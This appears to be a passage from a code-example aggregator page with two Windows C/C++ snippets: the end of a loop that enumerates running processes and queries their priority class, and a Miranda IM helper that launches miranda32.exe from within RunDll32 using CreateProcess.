    CloseHandle( hProcessSnap );          // clean the snapshot object
    return( FALSE );
  }

  //Start iterating through the processes
  do
  {
	    dwPriorityClass = 0;
		hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
		if( hProcess != NULL ) {
		  dwPriorityClass = GetPriorityClass( hProcess );
		  if( !dwPriorityClass ) {}
		  CloseHandle( hProcess );
		}

		DoProcessAction(pe32);
  } while( Process32Next( hProcessSnap, &pe32 ) );

  CloseHandle( hProcessSnap );
  return TRUE;
}
Пример #30
0
// CloseHandle() the return value
static HANDLE StartupMainProcess(TCHAR *pszDatabasePath)
{
	TCHAR *p, szPath[MAX_PATH];

	/* we are inside RunDll32 here */
	if (!GetModuleFileName(hInst, szPath, _countof(szPath))) return NULL;
	p = _tcsrchr(szPath, _T('\\'));
	if (p != NULL) { *p = 0; p = _tcsrchr(szPath, _T('\\')); }
	if (p == NULL) return NULL;
	mir_tstrcpy(++p, _T("miranda32.exe"));

	/* inherit startup data from RunDll32 process */
	STARTUPINFO si;
	GetStartupInfo(&si);
	PROCESS_INFORMATION pi;
	if (!CreateProcess(szPath, pszDatabasePath, NULL, NULL, TRUE, GetPriorityClass(GetCurrentProcess()), NULL, NULL, &si, &pi))
		return NULL;
	CloseHandle(pi.hThread);
	return pi.hProcess;
}